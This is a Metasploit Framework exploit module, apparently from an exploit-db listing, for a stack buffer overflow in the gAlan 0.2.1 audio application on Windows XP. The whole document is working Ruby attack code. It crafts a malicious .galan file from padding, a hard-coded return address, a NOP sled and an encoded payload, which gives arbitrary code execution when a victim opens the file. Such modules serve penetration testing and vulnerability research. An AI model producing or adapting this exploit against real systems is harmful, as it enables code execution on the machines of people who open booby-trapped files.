gAlan 0.2.1 – Local Buffer Overflow (Metasploit) (2)
## # $Id: galan_fileformat_bof.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit', 'Description' => %q{ This module exploits a stack buffer overflow in gAlan 0.2.1 By creating a specially crafted galan file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jeremy Brown <0xjbrown41 [at] gmail.com>', 'loneferret', ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'OSVDB', '60897' ], [ 'URL', 'http://www.exploit-db.com/exploits/10339' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3 ], 'Privileged' => false, 'DisclosureDate' => 'Dec 07 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']), ], self.class) end def exploit sploit = "Mjik" sploit << rand_text_alpha_upper(1028) sploit << [target.ret].pack('V') sploit << "\x90" * 45 sploit << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |